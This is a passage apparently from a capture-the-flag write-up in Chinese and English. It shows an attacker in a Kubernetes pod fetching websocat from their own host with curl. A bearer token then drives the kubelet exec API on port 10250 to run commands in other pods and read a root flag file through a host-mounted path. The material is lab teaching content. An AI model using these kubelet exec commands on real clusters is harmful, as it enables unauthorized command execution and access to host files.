1 2 3 4 5 6 7 8 9 10 11 mcp@mcp-server-54464cb475-29ztf:/tmp$ ^[[A^[[A </tmp$ curl http://10.10.17.141/websocat -o websocat % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 7661k 100 7661k 0 0 593k 0 0:00:12 0:00:12 --:--:-- 1001k mcp@mcp-server-54464cb475-29ztf:/tmp$ ls ls websocat mcp@mcp-server-54464cb475-29ztf:/tmp$ chmod +x websocat chmod +x websocat
可以了:
1 2 3 4 ./websocat --insecure --header "Authorization: Bearer $TOKEN " --protocol v4.channel.k8s.io 'wss://{hostIP}:10250/exec/{namespace}/{pod}/{container}?output=1&error=1&command=id' ./websocat --insecure --header "Authorization: Bearer $TOKEN " --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/default/mcp-server-54464cb475-29ztf/mcp-server?output=1&error=1&command=id'
可以了: 嘗試一下其它的 pod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 uid=1000(mcp) gid=1000(mcp) groups =1000(mcp) {"metadata" :{},"status" :"Success" } ./websocat --insecure --header "Authorization: Bearer $TOKEN " --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=id' ./websocat --insecure --header "Authorization: Bearer $TOKEN " --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=ls&command=/' ./websocat --insecure --header "Authorization: Bearer $TOKEN " --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=ls&command=/root' ./websocat --insecure --header "Authorization: Bearer $TOKEN " --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=ls&command=/host/root/root' ./websocat --insecure --header "Authorization: Bearer $TOKEN " --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=cat&command=/host/root/root/root.txt' fd5ee02815ffeb71567a76b98c8b682a {"metadata" :{},"status" :"Success" }